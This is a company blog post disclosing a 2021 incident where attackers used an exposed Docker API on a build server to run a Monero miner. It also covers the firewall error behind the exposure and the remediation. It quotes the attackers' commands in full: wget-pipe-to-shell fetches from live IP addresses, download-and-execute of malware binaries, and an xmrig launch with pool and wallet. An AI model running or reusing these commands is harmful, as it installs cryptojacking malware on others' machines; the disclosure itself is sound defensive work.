News and blog
NXLog main page
  • Products
    NXLog Platform
    Log collection
    Log management and analytics
    Log storage
    NXLog Community Edition
    Integrations
    Professional Services
  • Solutions
    Use cases
    Specific OS support
    SCADA/ICS
    Windows event log
    DNS logging
    MacOS logging
    Solutions by industry
    Financial Services
    Government & Education
    Entertainment & Gambling
    Telecommunications
    Medical & Healthcare
    Military & Defense
    Law Firms & Legal Counsel
    Industrial & Manufacturing
  • Plans
  • Partners
    Find a Reseller
    Partner Program
  • Resources
    Documentation
    Blog
    White papers
    Videos
    Webinars
    Case Studies
    Community Program
    Community Forum
  • About
    Company
    Careers
  • Support
    Support portals
    Contact us

NXLog Platform
Log collection
Log management and analytics
Log storage
NXLog Community Edition
Integrations
Professional Services

Use Cases
Specific OS support
SCADA/ICS
Windows event log
DNS logging
MacOS logging
Solutions by industry
Financial Services
Government & Education
Entertainment & Gambling
Telecommunications
Medical & Healthcare
Military & Defense
Law Firms & Legal Counsel
Industrial & Manufacturing


Find a Reseller
Partner Program

Documentation
Blog
White papers
Videos
Webinars
Case Studies
Community Program
Community Forum

Company
Careers

Support portals
Contact us
Let's Talk Start free
NXLog search
  • Loading...
Let's Talk Start free
March 23, 2021 announcement

Responsible disclosure - Our encounter with Monero mining

By Botond Botyánszki

Share
ALL SIEM STRATEGY SECURITY ANNOUNCEMENT DEPLOYMENT COMPLIANCE COMPARISON RSS

On the 18th of March, we noticed some unusual activity on one of our servers we use for build automation. Further investigation revealed that an outside party had deployed a Monero miner. The server was immediately taken offline. There was no customer data stored on the server and we have since replaced all our private keys and secrets that might have been potentially compromised.

After careful and thorough investigation of the incident, we decided to publish this announcement and share this news with our customers and users, hoping that it might serve as a lesson for others.

At NXLog, we take security seriously. This is our first security incident since the company was founded. Let’s look at some of the details of this incident.

On March 18th, our monitoring system alerted us about some atypical, high CPU usage on one of our servers. The server was used to run automated tests on the software we build, as well as build automation. We rely on Docker containers for running these workloads, however, the Docker containers responsible for the resource utilization were not familiar to us:

0285ae2bbc01e689794d67a03688e35e45ec2cab11d09fa7960e5a8f6ac9148d   alpine
a0a691d288d3c7cae71bdc4ea27256592342eff4591d34e5984c0ebd9cf94101   alpine
9f8ee1111200f8395e119fa1a8125341c984a9f851f8ca51f339b2774afcfdcc   alpine

Upon closer inspection, it turned out that these Docker containers had been started in order to run a Monero (XMR) mining tool. Monero is a privacy-focused cryptocurrency that provides anonymity and makes it difficult to trace the transactions. Because of this anonymity, Monero has became popular on the Darknet for illicit activities like this.

When this became evident, we immediately took the server offline and copied the data for forensics to analyze how this happened. Since we are a logging company, the first thing we looked at was the logs that were collected by the Docker containers.

The containers were started to execute the following:

"sh -c 'wget -qO - http://34.66.229.152:80/wp-content/themes/twentyseventeen/d | sh; tail -f /dev/null'"

The file named d is fetched from a server that is most likely a compromised WordPress site hosted on Google Cloud. This is a simple shell script that is responsible for fetching the dk86 malware from yet another WordPress site hosted by DigitalOcean:

wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &
wget -O dk32 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk32; chmod +x dk32; ./dk32 &

The malware is fetched and executed as both 64-bit and 32-bit versions to ensure that at least one of them would run, depending on the hardware. Here are their checksums:

sha1: fd91820560d2e0aa7079d7c7756e343e66f47056  dk32
sha1: 296273fd9965bf41d8d3970c766158c7f24fc618  dk86
md5: 550f9f929bcb99aeaa3821779d8dea62  dk32
md5: d9f82dbf8733f15f97fb352467c9ab21  dk86

Here are the set of commands responsible for executing the payload running the miner:

sh -c 'apk update; apt-get update ; yum clean all ; apk add bash wget ; apt-get install -y bash wget ; yum install -y bash wget ; wget http://47.114.157.117/cleanfda/trace || curl http://47.114.157.117/cleanfda/trace > trace ; chmod 777 trace ; ./trace --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.doc -k --coin monerosh -c 'apk update; apt-get update ; yum clean all ; apk add bash wget ; apt-get install -y bash wget ; yum install -y bash wget ; wget http://47.114.157.117/cleanfda/trace || curl http://47.114.157.117/cleanfda/trace > trace ; chmod 777 trace ; ./trace --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.doc -k --coin monero

The payload trace was fetched from a Chinese server hosted on Alibaba Cloud. This is actually a statically-linked binary of the xmrig Monero miner built on Alpine Linux.

The file has been previously reported, e.g., by Malwarebazaar with the following checksums:

sha1: ff1e87a24462391d45a0fa886eec2b33cc005480  trace
md5: 859fbbedefc95a90d243a0a9b92d1ae9  trace

Further investigatation into how it was even possible for the malware to be deployed on our server revealed the root cause. It was an error in our iptables firewall:

Mar 19 09:48:40 server netfilter-persistent[904]: iptables-restore v1.8.2 (nf_tables): host/network `<redacted>' not found
Mar 19 09:48:40 server netfilter-persistent[904]: Error occurred at line: 41
Mar 19 09:48:40 server netfilter-persistent[904]: Try `iptables-restore -h' or 'iptables-restore --help' for more information.

Due to a DNS resolution failure for a name we used in a rule, the ports were left unprotected after the server was rebooted. Unfortunately, this left the Docker daemon port exposed that was configured to listen on a TCP socket, which by default, requires neither authentication nor encryption. This was yet another oversight on our part since we should not have allowed a Docker API to be listening on an usecured port, even on the local network. On top of this, the Docker daemon and libvirt both manage iptables rules directly and insert FORWARD rules with a higher priority over a custom chain making it even more difficult to protect with the packet filter. PaloAlto Networks has published a nice article about how unsecured Docker deamons are exploited in the wild.

Since the Docker daemon also allows access to the host which could have made it possible for a targeted attack to penetrate further, we have decided to replace and revoke all secrets such as API keys, signing keys and certificates, ssh keys, vpn keys, and auth tokens. There was no customer data stored on this server or other servers where such data could have been accessed. Since we were well prepared for an incident, we managed to rebuild the server from scratch relatively quickly. Within two working days, we were able to resume all operations. The downtime only partially affected our QA and development teams.

Based on our investigation and analysis which have now been completed, this incident was a result of a botnet attack with the purpose of deploying crypto mining software to generate profit for the attackers. It was not a targeted attack to access company data, source code, or other confidential information.

This incident presented a great opportunity for us to revisit our DevOps practices and place even more emphasis on security. In a fast paced IT world where our DevOps team tries to take advantage of the latest technologies, including containers, orchestration and automation tools, monitoring systems and more, it has become increasingly difficult to ensure that everything is secure and immune to human error.

We practice what we preach, and as such, centralizing logs plays a vital role in such a situation. Apart from basic Linux system logs the NXLog Enterprise Edition supports collecting Docker logs, Linux kernel audit logs from the host as well as file integrity monitoring. These resources provide detailed information on how to collect the logs needed for analyzing such incidents. The team at Utpycs has written a blog post about Detecting Docker container malware using osquery. NXLog already supports fetching logs from osquery and we will consider deploying this across our fleet as well.

While increasing our perimeter security is an obvious choice, possible insider threats should be seriously considered, especially with a remote-only workforce that cannot be easily locked behind a corporate firewall. Migrating towards the zero trust security model, and improving secret management would also allow us to better mitigate such an attack. While this has been the first, we cannot be sure this was the last incident to occur no matter how hard we try to prevent these from happening in the future. With proper mitigation techniques, and with the ability to recover quickly, we need to ensure that our organization can remain resilient.

Botond Botyánszki, Founder and CEO of NXLog

Share

Facebook Twitter LinkedIn Reddit Mail

Stay connected:

Sign up

Keep up to date with our monthly digest of articles.

By clicking singing up, I agree to the use of my personal data in accordance with NXLog Privacy Policy.

Featured posts

Announcing NXLog Platform 1.6
April 22, 2025
Announcing NXLog Platform 1.5
February 27, 2025
Announcing NXLog Platform 1.4
December 20, 2024
NXLog redefines log management for the digital age
December 19, 2024
2024 and NXLog - a review
December 19, 2024
Announcing NXLog Platform 1.3
October 25, 2024
NXLog redefines the market with the launch of NXLog Platform: a new centralized log management solution
September 24, 2024
Welcome to the future of log management with NXLog Platform
August 28, 2024
Announcing NXLog Enterprise Edition 5.11
June 20, 2024
Raijin announces release of version 2.1
May 31, 2024
Ingesting log data from Debian UFW to Loki and Grafana
May 21, 2024
Announcing NXLog Enterprise Edition 6.3
May 13, 2024
Raijin announces release of version 2.0
March 14, 2024
NXLog Enterprise Edition on Submarines
March 11, 2024
The evolution of event logging: from clay tablets to Taylor Swift
February 6, 2024
Migrate to NXLog Enterprise Edition 6 for our best ever log collection experience
February 2, 2024
Raijin announces release of version 1.5
January 26, 2024
2023 and NXLog - a review
December 22, 2023
Announcing NXLog Enterprise Edition 5.10
December 21, 2023
Raijin announces release of version 1.4
December 12, 2023
Announcing NXLog Enterprise Edition 6.2
December 4, 2023
Announcing NXLog Manager 5.7
November 3, 2023
Announcing NXLog Enterprise Edition 6.1
October 20, 2023
Raijin announces release of version 1.3
October 6, 2023
Upgrading from NXLog Enterprise Edition 5 to NXLog Enterprise Edition 6
September 11, 2023
Announcing NXLog Enterprise Edition 6.0
September 11, 2023
The cybersecurity challenges of modern aviation systems
September 8, 2023
Raijin announces release of version 1.2
August 11, 2023
The Sarbanes-Oxley (SOX) Act and security observability
August 9, 2023
Log Management and PCI DSS 4.0 compliance
August 2, 2023
Detect threats using NXLog and Sigma
July 27, 2023
HIPAA compliance logging requirements
July 19, 2023
Announcing NXLog Enterprise Edition 5.9
June 20, 2023
Industrial cybersecurity - The facts
June 8, 2023
Raijin announces release of version 1.1
May 30, 2023
CISO starter pack - Security Policy
May 2, 2023
Announcing NXLog Enterprise Edition 5.8
April 24, 2023
CISO starter pack - Log collection fundamentals
April 3, 2023
Raijin announces release of version 1.0
March 9, 2023
Avoid vendor lock-in and declare SIEM independence
February 13, 2023
Announcing NXLog Enterprise Edition 5.7
January 20, 2023
NXLog - 2022 in review
December 22, 2022
Need to replace syslog-ng? Changing to NXLog is easier than you think
November 23, 2022
The EU's response to cyberwarfare
November 22, 2022
Looking beyond Cybersecurity Awareness Month
November 8, 2022
GDPR compliance and log data
September 23, 2022
NXLog in an industrial control security context
August 10, 2022
Raijin vs Elasticsearch
August 9, 2022
NXLog provides native support for Google Chronicle
May 11, 2022
Aggregating macOS logs for SIEM systems
February 17, 2022
How a centralized log collection tool can help your SIEM solutions
April 1, 2020

Categories

  • SIEM
  • STRATEGY
  • SECURITY
  • ANNOUNCEMENT
  • DEPLOYMENT
  • COMPLIANCE
  • COMPARISON
logo

Subscribe to our newsletter to get the latest updates, news, and products releases. 

© Copyright 2024 NXLog FZE.

Privacy Policy. General Terms of Use

Follow us

  • Product
  • NXLog Platform 
  • Log collection
  • Log management and analysis
  • Log storage
  • Integration
  • Professional Services
  • Plans
  • Resources
  • Documentation
  • Blog
  • White papers
  • Videos
  • Webinars
  • Case studies
  • Community Program
  • Community forum
  • Support
  • Getting started guide
  • Support portals
  • About NXLog
  • About us
  • Careers
  • Find a reseller
  • Partner program
  • Contact us